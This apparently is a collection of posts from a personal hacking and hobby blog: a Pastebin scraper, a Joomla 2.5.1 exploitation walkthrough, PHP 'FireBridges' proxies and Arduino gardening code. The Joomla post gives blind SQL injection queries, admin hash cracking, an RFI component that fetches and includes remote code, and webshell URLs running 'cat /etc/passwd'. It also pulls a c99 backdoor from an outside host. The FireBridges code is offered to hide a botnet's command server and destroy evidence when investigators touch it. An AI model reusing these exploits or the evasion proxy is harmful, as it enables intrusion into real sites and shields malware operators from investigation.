New PasteLert lives at http://andrewmohawk.com/pasteLertV2/

Downloads:

» Interface -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip
» Cron Tasks -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip
» Scraping Script -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip

And of course if you want everything -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip

Overview

My linode has been pretty much falling over due to the previous version of the pastebin alerts for a number of reasons:

» Scripts sometimes get blackholed (pastebin.com allows the connection but doesnt respond – due to their DDoS protection)
» Scripts sometimes were still running when the PREVIOUS script had not completed causing a chain reaction of fail
» Deletes would be happening while the above scripts where running causing MySQL to tilt

Lucene/Solr

As such I recently re-worked the service. Initially I started playing around with other DB types to try and get my Linode to store more than a day or 2s worth of Pastebin.com data. I looked around and it appeared that Lucene/SolR was the solution I was looking for, and actually it does work _very_ well at storing large amounts of data (I had it running with about 2 weeks of data). However there were a number of issues:

» After about a week or 2s worth of data (avg around 20-30K posts a day, x 14 = 280 000 – 420 000 posts) the search times were SLOW (talking something like 5-15 SECONDS)
» Because Lucene is not a RDBMS there is no concept of having something like a row ID or an auto-incrementing ID – so this would have to be handled by the script to get the number of entries and +1 every time
» Because of the above Alerts would have to work on a date (when the post was made – so working out from x secs ago or y minutes ago), and an ISO formatted date no less (no unixtime) it became a real pain.

However, with that being said I did still build the interfaces for it and if you are looking to implement it with SolR / Lucene just message me for the schema and Python/PHP scripts.

Basics

Ultimately however I decided to stick to the same system previously used but rather than have cron’d scripts that pull the data have one long running python script that you can place in the background. Pretty basic and the code should be self explanatory, the gist of it:

1. Pull archive.php from pastebin.com [ http://pastebin.com/archive.php ]
2. Extract all the paste entries with a regular expression ( re.compile(‘<td><img src=”/i/t.gif” .*?<a href=”/(.*?)”>(.*?)</a></td>.*?<td>(.*?)</td>’,re.S) )
3. Check if we have seen it in the last 500 or so (that we have in a python list), if not, pull the raw paste
4. INSERT IGNORE (in case we missed a double) this data

Then for the “alerts” themselves, basically:

»Every 30 minutes (or whenever you set the cron to run) search if the terms in the database have been seen
»If seen send out mail

Additionally of course there is a web interface that you can use to add alerts as well as search the current index’d pastes.

Downloads / Config

My Crontab at this stage looks as follows (if you want to just copy mine):
*/20 * * * * php /home/andrew/pasteLertV2/Cron_Tasks/sendAlerts.php
0 1 * * * php /home/andrew/pasteLertV2/Cron_Tasks/truncPastes.php

And i’ve kicked off the script that puts the data in the database with:

andrew@mothership:~/pasteLertV2/Python_Scraping_Script$ nohup python scrapePastebinMySQL.py &

I’ve seperated the scripts into the 3 sections:

» Interface -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip
» Cron Tasks -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip
» Scraping Script -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip

And of course if you want everything -> http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip

Essentially the only modification you need to do is within the interface / cron tasks modify the ‘setDB.php’ script with your db credentials and within the scraping script, set these on line 141.

-AM

Overview

So back in the dark ages of my programming life I, like many people who started coding, worked in web development. And during these times I had to write modules/hack things together for various frameworks, including Joomla. At that stage i was also signed up to the Joomla security security list and a few weeks ago i saw a security update come through that affected most joomla installs and was a core issue. Most of the ‘omgjoomlasux’ commercials/vulns/notifcations actually are problems with 3rd party modules rather than with joomla itself, so this was pretty interesting. Secondly the bug was listed as a SQL injection bug and critical, this gave me the idea that with a bit of luck and some mysql commands I too could hack the planet. I fired up my green_text_on_black_background console and gave it a whirl.

First i pulled Joomla installs 2.5.1 and 2.5.2 from the download page (the issue had just been patched), next I had to go through these to figure out what changed. Doing a quick diff in linux, or for windows people use the cool winmerge it was quick and painless to find the issue:

Winmerge with Diff of 2.51 and 2.52

./plugins/system/redirect/redirect.php:

Joomla251:
$db->setQuery(‘select id from ‘.$db->quoteName(‘#__redirect_links’).” where old_url=’”.$current.”‘”);

Joomla252:
$db->setQuery(‘select id from ‘.$db->quoteName(‘#__redirect_links’).” where old_url=’” . $db->quote($current) . “‘”);

So right off the mark, things are looking great, got a SQL command that is not escaped via the $current variable. A quick search to find this in that function gives us:

$current = $uri->toString(array(‘scheme’, ‘host’, ‘port’, ‘path’, ‘query’, ‘fragment’));

Excellent, something we can regularly manipulate with just a browser (since its adding the URI from the browser), so now what could I do with this information?

First off i knew what the SQL query looked like, so it was a lot easier to manipulate in a SQL interface or even something like PhpMyAdmin. So modifying the query quickly gave me some failboats:

1. I couldnt do any insert / modifcation of data from a secondary query like:
- UNION SELECT (insert x into y)
This was due to the fact that insert x into y simple didn’t return anything so it could not be joined to the previous SQL query, the Union requires a returned value to join to the current SQL statement. I tried doing things like SELECTing an INSERT, using the IF statement and a few others without luck.

2. MySQL doesn’t have anything like xp_cmdshell so I could not off-the-bat execute raw code (sadface).

However, MySQL did have a few functions that were super useful:
* INTO DUMPFILE – this lets me write files out to the system (winning.) Unfortunately I have NO IDEA where the webroot is, and in the testing I did MySQL almost never had write access to the webroot when i knew where it was
* SELECT LOAD_FILE – lets me select local files into things – Great apart from the fact that I cannot write into the database and I dont know where I can put files

At this stage it was super-facepalm-time. But then with a little help from Roelof and the internets i started looking at timing attacks.

How the attack works:

* You can add an IF statement into the UNION to evaluate something
* If its true, sleep for a period of time (by default I used 2s more than the average normal request time)
* If false do nothing (so the page returns in a normal time)

So right now I have the ability to essentially ask Joomla a true or false question and get an answer for it. Next was figuring out what I could do with this to get a webshell on a box.

I looked at some of the joomla-y things and found that the easiest way for me to get a shell on the box would be with a simple RFI (loads of components for Joomla already have this, but I figured id rather make a custom component). The only problem is that I didnt have access to the backend because I didnt know the password :/

So next was figuring out how to get the password. Most joomla installs come with a nasty setting that puts a prefix before every table in the database, so while my install has users in c5swv_users, yours might have it in s5fddg_users.. irritating.

So the steps at this stage:
1. Get the prefix for the database
2. Get the admin password out
3. Crack the admin password
4. Login, install component
5. Call the RFI component with your shell.

First things first, figuring out the best way to get data out. Essentially there were two options:

1. Take each character we need to get out to binary, and time out a 8 bits for a single character (8 requests), eg. 00110101 would be in response times,

2. Use a binary tree to try and identify the character, essentially asking something like this:
- Is it between a and z?
- Is it between a and m?
- Is it between t and z?
- Is it between w and z?
- Is it between t and u? (i know it must be either t,u or v at this stage)
- Its V!

I opted for the second option mostly because Roelof suggested it first and also cause it seems sexy :)

So writing the query for those looks something like:
SELECT if((SELECT ORD(singlecharacter) FROM x) between $start and $end,sleep(2),null)

Fetching the prefix:

The prefix can be fetched by doing the query:
SELECT SUBSTRING_INDEX(table_name,’_',1) FROM information_schema.tables WHERE table_schema=database() limit 1

Then I could change it up to do the positioning with something like:
SELECT ORD(SUBSTRING((SUBSTRING_INDEX(table_name,’_',1)),$pos,1)) FROM information_schema.tables WHERE table_schema=database() limit 1

However i first had to get the number of positions, so that was done with a guessing game something like:
Is it 3?
Is it 4?
Is it 5?
Its 5!

And a SQL statement something like:
SELECT if((SELECT LENGTH(SUBSTRING_INDEX(table_name,’_',1)) FROM information_schema.tables WHERE table_schema=database() limit 1) = ,sleep(2),null)

Below you can see it doing this in the script:

Script Running to time out prefix

Admin Hash

Great, so I have prefix and prefix length, now to get the admin hash. Essentially done in the same way as above but with the query SELECT password from #prefix#_users WHERE username=admin

Once I had that out (it takes a while as its a 32 bit hash and a 32 bit salt) I could get on to cracking it.

Joomla passwords by default are MD5(salt + password), and the salt is stored in the password field (thank goodness! If it was in a file somewhere id have really been stuck here).

So brute forcing with the salt eventually gave me the password :) — In the script I only do it up to 6 characters, after that it simply takes too much time to do it in php..

NOTE: I’ve added a -c=1 param for people who wish to do it outside of the script – which seems a lot better since mine is horribly inneficient

Login and Component

So i simply took apart a helloworld component and added the functionality i needed, namely:

include($_GET["url"]);

However this seldomly seems to work as most hosting providers/defaults for PHP have allow_url_include set to 0. Strangely however it seems that I can include local files that i fetch with file_get_contents, so it was simply a case of doing:

$phpShellCode = file_get_contents($_GET["url"]);
$filename = “/tmp/myshell” . rand(0,9999) . “.txt”;
$fh = fopen($filename, ‘w’);
fwrite($fh, $phpShellCode);
fclose($fh);
include($filename);

Additionally the ‘helloworld’ component made a menu item in the backend which we obviously wouldnt want, so I stripped that out (really just removed the files relating to the admin section). By default joomla has loads of components installed and the wizard to uninstall them doesn’t make it very easy to spot the malicious one.

Joomla Extension Manager

So now my component works it was just a matter of hacking together some curl scripts to login, install the component and then allow the user to browse to that page. Joomla has some protection against CSRF so the pages generally had to be regex’d to get all the field data to be posted.

On a side note, one strange thing with Joomla is that after posting data (such as login/upload) the Joomla site would return a 200 and the page would have to be reloaded to get confirmation that it was successful.

PHP Shell:

The PHP shell was a little tricky as i was stuck in a specific part of the page and the way the code got there meant I couldnt _really_ post back to the page, so this excluded all c99-type shells. However putting a little script together meant you could easily get something to be dropped into ../../c99.php and you were A-for-away. I have just included a simple exec script to output the return values of a cmd, so that you can do something like:

index.php?option=com_rfi&url=http://www.andrewmohawk.com/execShellSimple.txt&c=cat /etc/passwd
index.php?option=com_rfi&url=http://www.andrewmohawk.com/execShellSimple.txt&c=whoami
index.php?option=com_rfi&url=http://www.andrewmohawk.com/execShellSimple.txt&c=pwd

And get the responses right in the page:

RFI response in page

Full Shell:

So i added another php include file to help pull files, something like this:

And used this to get a c99 going on my box, essentially just doing something like:

http://www.andrewmohawk.com/phpshells/pullfileLocal.txt&l=/var/www/html/andrewmohawk.com/joomla251/logs/test.php&r=https://web-malware-collection.googlecode.com/svn-history/r3/trunk/Backdoors/PHP/c99.txt

And then browsing to http://andrewmohawk.com/joomla251/logs/test.php

The reason I placed the file in logs is that the Joomla setup usually forces the user to have write access there so it can write out the log files, in fact marking that directory as non writable forces the admin backend to throw an error so you cannot login.

C99 Shell running on box

Scripts / Code:

So i packaged this all (up to installing the RFI component) into an automated PHP script located here -> exploit251.php
And i put the two php helper shell thingies in this directory here ->> www.andrewmohawk.com/phpshells/
Also you will need the RFI component here ->> http://andrewmohawk.com/joomla/com_rfi.zip

Output/Example:

The example of it running is located here: exploitRun.log

Conclusion:

The vulnerability is pretty serious as firstly it can lead to the machine being compromised while now just as the apache user but later with priv. escalation or other attacks as root. Additionally because it is simply a php script, and we are executing php it could be wormed so that each compromised machine looks for another machine to compromise and spreads that way.

Obviously upgrading to the latest Joomla is recommended to avoid this ^_^

However its also important to ask, if something as trivial as escaping/sanitising a user variable is missed in some of the core functionality, how many more have been missed and how much can we really trust the code.

-AM

Since we were playing badguy-badguy I decided to think how do the good guys go about taking apart a bot to get to your c&c and i figure it probably works something like this:

* What is c&c.thisisnotnormal.traffic.com – browse to it, portscan, etc
* Look at traffic going to c&c.thisisnotnormal.traffic.com – replay it to see results
* Take apart the traffic and start sending modifying parts to see results
* Go and literally pick up the machine(s) hosting c&c.thisisnotnormal.traffic.com

So how would you go about making these peoples lives a little more painful?

* Make sure no connections go directly to the c&c – route through proxies
* Make sure all traffic is encrypted/encoded and if either fails destroy the proxy
* All proxies look for replay attacks and destroy themselves after a threshhold (could be 1 for the super paranoid)

Basics

From this the idea of Firebridges (really thought it was a cool name but i see there are loads of other things with the same name) were born. The idea is relatively basic:

* You have a series of proxies that dont know about anything apart from the nextHop in the chain
* Proxies all make sure that data passing through is correctly encrypted (checking for tampering)
* Proxies all make sure data is not being replayed
* If a proxy detects something going wrong it removes all files associated with the nextHop leaving the people chasing you with a dead end

Implementation was not too difficult, whipped something up in PHP that works like this:

* All requests to nextHop include a POST variable ‘key’ that contains a key made up of the following (B64(RIJNDAEL256(B64(secretkey))):

1. b64_1 = Base64_encode(‘text’)
2. RIJ_2 = RIJNDAEL_256_encode(b64_1)
3. b64_3 = Base64_encode(RIJ_2)

* All requests hit a ‘bridge.php’ page that does:
* @Include ‘proxy.php’, call function proxyRequest(); which checks auth above and replay attacks via SQLite db
* If proxyRequest() returns false, remove the SQLite database and ‘proxy.php’ script leaving the person chasing you with a 5 line php file that once included something
* If proxyRequest() returns != false, simply return the page to the browser.

Results

Using FireBridges, you can now create a proxy network easily by simply changing the nextHop variable in proxyRequest.php and adding them to machines all over the world that will burn if anyone tampers with them. This means if anyone is investigating why traffic is going to thisisauniquehostname.weareevil.com and decides to browse to it the proxies will burn themselves (and they will get the default apache page – configurable in bridge.php) and by the time they pick up the machine all they will have is 1 php script that gives away nothing. It also means that if these investigators are slightly more resourceful in their approach and try replay the attack after a certain threshold of replays (default is 2) the next replay will burn the proxy. Finally if they are even more resourceful and try tamper with any of the data the proxy will burn on the first attempt presuming it doesn’t match your requirements.

Defenses

So defending against this is pretty tricky but essentially it comes down to the following:
* Always assume a replay threshold of 1 if you see anything like this
* If you spot a c&c then DO NOT TOUCH it networkly prior to making a full image of the machine
* If you are unsure about where the c&c is but can see the traffic, keep monitoring it but do not touch the bridge before picking it up, remember one bad packet could burn the entire route to the c&c

Code

So onto the code (I realise this format sucks, but there are download links for each script below each heading):

firebridge.sqlite (db for checking replays)

(download firebridge.sqlite)

1
2
3
4

sqlite> .TABLES
seenKeys
sqlite> .schema
CREATE TABLE seenKeys(KEY text, count smallint);

exampleRequest.php (script to request something via fireBridge – used in bot?)

(download exampleRequest.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php
function createFireBridgeKey($string)
{
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A';
    $encodedClearData = base64_encode($string);
    $encryptedEncodedData = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $encodedClearData, MCRYPT_MODE_ECB, $iv);    
    $encodedEncryptedEncodedData = base64_encode($encryptedEncodedData);
 
    return $encodedEncryptedEncodedData;
}
 
 
function randomData($length = 8)
{     
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $result = '';
    for ($p = 0; $p < $length; $p++)
    {
        $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)];
    }
 
    return $result;
}
 
$testString = "This is going to my c&c";
$testString = $testString . randomData(); // just to make sure i dont send the same request too may times (would be a replay then)
$testString = createFireBridgeKey($testString);
 
$postArray = array ("key"=>$testString);
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://next.hop.andrewmohawk.com/fireBridges/bridge.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postArray)); // forward all POST data
$output = curl_exec($ch);
curl_close($ch);
 
echo $output;
 
?>

bridge.php (script initially called)

(download bridge.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php
$includeFile = "proxyRequest.php";
$dbFile = "firebridge.sqlite";
 
if(@include $includeFile)
{
    $x = @proxyRequest();
}
else
{
    $x = false;
}
 
if( $x !== false)
{
    echo $x ;
}
else
{
    @unlink($includeFile);
    @unlink($dbFile);
    echo "<html><body><h1>It works!</h1></body></html>";
}
?>

proxyRequest.php (actual proxy)

(download proxyRequest.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160

<?php
 
function proxyRequest()
{
    /*****************************************/
    /*      Settings                         */
    /*****************************************/
 
    // Maximum number of times we can see a key before we consider it tampered
    $threshold = 2; 
 
    // Determines whether to send the request on to the next hop after seeing that its above threshhold
    $burnNextHop = True; 
 
    //where the proxy forwards the request to and returns the response from, can either be another fireBridge or the destination
    $nextHop = 'http://next.hop.andrewmohawk.com/bridge.php'; 
 
 
    //Determine if the 'key' is valid (POST Field)
    if(checkAuth() !== false)
    {
            /*
                Lets make sure this isnt a replay above our threshhold :)
                --check in a SQLite db stored with this file.
            */
 
            //Connect to DB
            $db = new SQLite3('firebridge.sqlite');
 
            //Sanitize (cant have the firebridges getting compromised)
            $key = $db->escapeString($_POST["key"]);
 
            //Look for the key we have just got back
            $result = $db->querySingle("SELECT count FROM seenKeys WHERE key='$key'");
 
 
            if($result !== NULL)
            {
                //Determin if this key has been seen too many times (replaying)
                $num = $result;
 
                if($num > $threshold)
                {
                    //if burnNextHop is set, send the request on to the next hop but dont return the output
                    if($burnNextHop == true)
                    {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_URL, $nextHop);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_POST, 1);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data
                        $output = curl_exec($ch);
                    }
 
                    //Burn it.
                    return false;
                }
                else
                {
                    //If we have seen this key before but it hasnt reached threshold then +1 its count
                    $db->query("UPDATE seenKeys SET count = count + 1 WHERE key='$key'");
 
                }
            }
            else
            {
                //Haven't seen the key before and it passed the check, insert it into the db
                $db->query("INSERT Into seenKeys (key,count) VALUES('$key',1)");
 
            }
 
            /* 
                If we get to here the request was valid and the key didnt pass the threshhold
                so we don't suspect replay. Now just go to the nextHop, send on any/all POST fields
                sent to this page and return the data.
            */
 
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_URL, $nextHop);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST)); // forward all POST data
            $output = curl_exec($ch);
            curl_close($ch);
            return $output;
 
 
    }
    else
    {
        return false;
    }
}
 
 
/**********************************************************
  Determines if the post field 'KEY' matches correctly,
  in this example it needs to be: 
    B64(RIJNDAEL256(B64(secretkey))):
 
    Encoding/Encrypting:
        b64_1 = Base64_encode('text')
        RIJ_2 = RIJNDAEL_256_encode(b64_1)
        b64_3 = Base64_encode(RIJ_2)
 
    Decoding/Decrypting:
        b64_1 = Base64_decode(_post_key_)
        RIJ_2 = RIJNDAEL_256_decode(b64_1)
        b64_3 = Base64_decode(RIJ_2)
 
/*********************************************************/
 
function checkAuth()
{
 
    //Create IV's
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $cryptKey = 'Secret_^&Key!@#$FireBr!dge@@112A';
 
    //Fetch Key from POST
    $BridgeKey = $_POST["key"];
 
    //First decode, used primarly for sending the encrypted data 
    $BridgeKey = base64_decode($BridgeKey);
 
 
    //if it doesnt decode someone has tampered with the initial B64 - Burn it.
    if($BridgeKey == false)
    {
        return false;
    }
 
    //Decrypt it with our key, decrypted text should be base64 so we can check it decodes easily
    $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $cryptKey, $BridgeKey, MCRYPT_MODE_ECB, $iv);
 
 
    $finalDecode = base64_decode($decrypttext);
 
    //If this doesnt decode someone has tampered with the encrypted text - Burn it.
    if($finalDecode == false)
    {
        return false;
    }
 
 
    /*
        Insert your own functions here to check the data that was encoded/encrypted/encoded and now decoded/decrypted/decoded 
        So something like making sure a key matches a certain checksum etc.
    */
 
    return true;
 
 
 
}
 
?>

-AM

I saw the pastebin guys put out a list of the IP addresses that have been attacking them for people to check if they were, I wrote a quick little script to test this at: http://andrewmohawk.com/pastebinAttack/

Secondly, i see pastelert broke with the new GUI change on pastebin, I’ve fixed it on mine and I will post an update sometime here, if its urgent just drop me a mail and i’ll send the patch :)

-AM

Completed System

Completed System

Completed System

With regards to the requirements for the system my part spec was as follows:

• One large reservoir – I got an 80 litre orange bucket for about R100
• Arduino + Ethernet shield – pretty stock standard
• 4x 10K resistors – used for the sensors
• 4x ‘sensors’ – sensors setup as before, coiled wire (soldered if you can) and taped on
• 8x galvanised steel washers – used as the actual sensors
• 2x transistors - used for the relay setup
• 2x relays - I used LT-5GS’ for this to switch the pumps on and off
• 2x Diodes – used for my relay setup
• 2x Water pumps - I used two (1 per pot) honestly because it was cheaper, although not as elegant as having a electrical valves and a more intricate watering system, mine were the 1.5A 12V bilge pumps (about R150 each)
• 2x Water pump power supplies – Obviously used for the pumps power, I used some cheap power adapters that didn’t cost much
• 1x Arduino power supply - See http://www.arduino.cc/playground/Learning/WhatAdapter for more information
• Wires, Tape, Tv Series, Patience -  essential in setting this up :)

After getting the above its important to setup the environment:

Overall this shouldnt cost much, apart from the Arduino and Ethernet shield. The relays are about R10 each at electronics123 (thanks to schalk from H4H for picking one up for me).

So the system can be divded into a few easy parts:

1. 1. Sensors ( to measure soil moisture levels )
   2. Pump system (relays, diodes, transistors)
   3. Ethernet webserver (used to pull the stats as well as turn the pumps on and off)

Sensors:

As before in the previous post – http://andrewmohawk.com/2011/10/07/automated-gardening-moisture-sensor/ the sensors are pretty simple to setup. I went and got a ton of electrical wiring for the pumps and so on and i needed rather long leads for the pots so I just used that. Basic idea is to simply wire up the galvanized washers as below:

Galvanized Sensors

Galvanized Sensors

The basic idea with these sensors is to measure the resistance via a 10K resistor across two portions of the soil, I’ve stolen a very nice picture of the setup of these from the internets and is as follows:

Arduino Sensor Diagram

(If someone has the original for this please let me know and I will link).

Anyway, once you have the sensors setup, I built 4- 2 per plant so i could measure the soil moisture at the top and bottom of the pots, you can simply wire them in as the above diagram. I wired mine up to analog ports 0-3.

Pump system (relays, diodes, transistors)

So this is obviously the more exciting part for me, since I get to play with something that I can turn on and off and get a more real world experience out of my digital life :) I had a few discussions about it with the guys from house4hack.co.za and they suggested i setup the relay in a standard way which is as follows:

arduino-relayarduino-relay

Basically use your data line connected to one of the Arduino digital ports and your relay as above. The transistor now allows you to use digitalWrite to turn the pumps on or off. Below is a closer picture of the one relay in place with the other removed:

Relay

You can see the sensor setup on the left of the board, relay one in the middle and the missing relay on the right. You can see the transistor and diode setup as well.

When connecting the power, its also important to make sure that you have the adapters the right way round, just use a multimeter to check you know which is the positive and which is the negative wire. We only bridge the positive via the relay, the ground/negative we leave as is:

Web setup:

So now we have a relay setup and the sensors, its really just a case of putting two and two together. We need a simple web interface that can do the following:

1. Give us the readings for all 4 sensors
2. Be able to control both pumps (switching on and off)

Ideally the system i have in mind is not completely controlled by the arduino, but also has  a PC element to manage the water by the average soil moisture over time. Id want it to be customisable in a way that i can set the time period (say 2-6 hours) where it averages the soil moisture and determines if the pumps should be turned on or off. This is the reason I really want the webserver to essentially just spit out the values and offer me the ability to turn the pumps on and off.

Herewith is my Arduino Code:

//These includes are for the webduino addon for Arduino
#include "SPI.h"
#include "Ethernet.h"
#include "WebServer.h"

//Define the MAC and IP for our interface
static uint8_t mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
static uint8_t ip[] = { 192, 168, 1, 210 };
 
//Prefix
#define PREFIX "/"
WebServer webserver(PREFIX, 80);
 
//Define which digital ports are used for which pump (mine are ports 3 and 4)
#define pump1 3
#define pump2 4

//Variables used to indicate whether the pumps are on (1) or off (0)
static int relayPump1 = 0;
static int relayPump2 = 0;
 
//Variables used to store the moisture readings
int moisture_val1 = 0;
int moisture_val2 = 0;
int moisture_val3 = 0;
int moisture_val4 = 0;
 
//Variables used to store the analog ports used for the sensors (mine are 0-3)
int moisture_sensor1 = 0;
int moisture_sensor2 = 1;
int moisture_sensor3 = 2;
int moisture_sensor4 = 3;
 
//Toggles the first pump
void pumpOne(WebServer &server, WebServer::ConnectionType type, char *, bool)
{
  server.httpSuccess();
  if (type != WebServer::HEAD)
  {
    relayPump1 = !relayPump1;
    switchPumps();
  }
}
 
//Toggles the second pump
void pumpTwo(WebServer &server, WebServer::ConnectionType type, char *, bool)
{
  server.httpSuccess();
  if (type != WebServer::HEAD)
  {
    relayPump2 = !relayPump2;
    switchPumps();
  }
}
 
//List the statistics for the webserver
void getStats(WebServer &server, WebServer::ConnectionType type, char *, bool)
{
  server.httpSuccess();
  if (type != WebServer::HEAD)
  {
 
    moisture_val1 = analogRead(moisture_sensor1);
    moisture_val2 = analogRead(moisture_sensor2);
    moisture_val3 = analogRead(moisture_sensor3);
    moisture_val4 = analogRead(moisture_sensor4);
 
    server.print("Pump one: ");
    server.print(relayPump1);
    server.print("
Pump two: ");
    server.print(relayPump2);
    server.print("
Sensor 1: ");
    server.print(moisture_val1);
    server.print("
Sensor 2: ");
    server.print(moisture_val2);
    server.print("
Sensor 3: ");
    server.print(moisture_val3);
    server.print("
Sensor 4: ");
    server.print(moisture_val4); 
 
  }
}
 
//Main loop
void loop()
{
 
  /* process incoming connections one at a time forever */
  webserver.processConnection();
}
 
//switch the pumps
int switchPumps()
{
	if(relayPump1 == 1)
	{
	  digitalWrite(pump1,HIGH);
	  //Serial.println("Pump1 Activated");
	}
	else if(relayPump1 == 0)
	{
	  digitalWrite(pump1,LOW);
	  //Serial.println("Pump1 De-Activated");
	}
 
	if(relayPump2 == 1)
	{
	  digitalWrite(pump2,HIGH);
	  //Serial.println("Pump2 Activated");
	}
	else if(relayPump2 == 0)
	{
	  digitalWrite(pump2,LOW);
	  //Serial.println("Pump2 De-Activated");
	}
 
	return 0;
}
 
//Setup the server - switch the pumps to OUTPUT
void setup()
{
  pinMode(pump1,OUTPUT);
  pinMode(pump2,OUTPUT);
 
  Ethernet.begin(mac, ip);
  webserver.setDefaultCommand(&getStats);
  webserver.addCommand("pumpOne", &pumpOne);
  webserver.addCommand("pumpTwo", &pumpTwo);
  webserver.addCommand("stats", &getStats);
 
  /* start the webserver */
  webserver.begin();
 
}

Completion:

Once I’d completed the above sensors and arduino’s, I popped them into the waterproof container and was good to go with my final testing environment and container:

However my ethernet shield seems to have overheated and popped itself and the arduino, so I will need to get a replacement for them (feel free to donate me yours :D). Once i have this I will definitely include the server side code to manage the watering and web interface as well.

-AM

What i wanted was:

What I got was:

So recently I was playing with my arduino and thinking about this, and got the idea to try and create an automated gardening system where my plants where automatically given water/light/etc without me having to worry about it. There are some fantastic resources online like http://www.instructables.com/id/Garduino-Gardening-Arduino/ and http://makeprojects.com/Project/Garduino-Geek-Gardening/62/1.

I began planning something i’d want, and ideally it would have to be this:

• Moisture control for water
• Water pump to water them
• Light sensors for Lights and LEDs (red and blue for optimal growth)
• Humidity to keep my plants cosy
• Interface via LCD/Web to see how things are doing (if more water is needed etc)
• Solar panel to allow the system to be completely stand alone

I looked at some of the things and it appears that the solar panel wont be powerful enough to power the relay for the pump as well as the LEDs, so thats out initially till i find a better plan. And I think that the LEDs can be avoided for now with me probably going to have this thing outside.

First things first, i decided to look at the moisture sensor, since thats what i’d initially need to make the water system work. Basically it checks the moisture levels in the soil and if the soil is too dry it will need to either turn on a water pump or change a valve or something to let the water flow. So i started looking around and you can buy moisture sensors for a few hundred bucks, but ACTUALLY they just measure resistance in soil so you can easily do this with a 2 pieces of wire, a resistor and some nuts (although these may not be required):

Basic Requirements

After this just strip either end of the wire and coil one side round one of the nuts (its essentially our ‘sensor’), you will need two pieces per sensor. Basically looks like this:

Next you want to connect this to the Arduino. One ‘sensor’ is connected to your 5V source. The other ‘sensor’ is connected to one side of the resistor along with a line to an analog port. The other side of the sensor is merely connected to the ground of the Arduino.

You can then read the resistence by simply doing something like: soilMoisture = analogRead(0) if it was connected to analog port 0.

Heres a video I made of a single sensor, and you can see the value changing as I pour water into the pot:

Of course just 1 sensor is cool, but we can do better, we can place 3 sensors at different levels of the pot and monitor the changes in resistence as the water trickles down to the roots, I also have an LCD connected to mine as you saw in the previous video to watch the changes. Here is the a 3 sensor system to watch the water adding resistance at depths.

3 Sensor Setup

And finally a video of it working:

Also the code for this for my Arduino:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#include <LiquidCrystal.h>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
 
int moisture_val1 = 0;
int moisture_val2 = 0;
int moisture_val3 = 0;
 
int moisture_sensor1 = 0;
int moisture_sensor2 = 1;
int moisture_sensor3 = 2;
 
String moistureString = "";
 
void setup() {
  // set up the LCD's number of columns and rows: 
   lcd.begin(16, 2);
}
 
void loop() {
  lcd.clear();
  lcd.print("Soil Sensor:");
  lcd.setCursor(0, 1);
  moisture_val1 = analogRead(moisture_sensor1);
  moisture_val2 = analogRead(moisture_sensor2);
  moisture_val3 = analogRead(moisture_sensor3);
 
  moistureString = "";
  moistureString = moisture_val1;
  moistureString = moistureString + "/";
  moistureString = moistureString + moisture_val2;
  moistureString = moistureString + "/";
  moistureString = moistureString + moisture_val3;
  moistureString = moistureString;
 
  lcd.print(moistureString);
  delay(1000);
}

Cheers,
Andrew

UPDATE

Decided to go with the Spy badges, what do you think?

Sorry guys, I noticed that I haven’t been getting any pasteLert updates, and i just realised why (see above picture for my reaction).

Change line 4 in truncPastes.php from:

mysql_query(“truncate pastebin”);

To:

mysql_query(“delete from pastebin”);

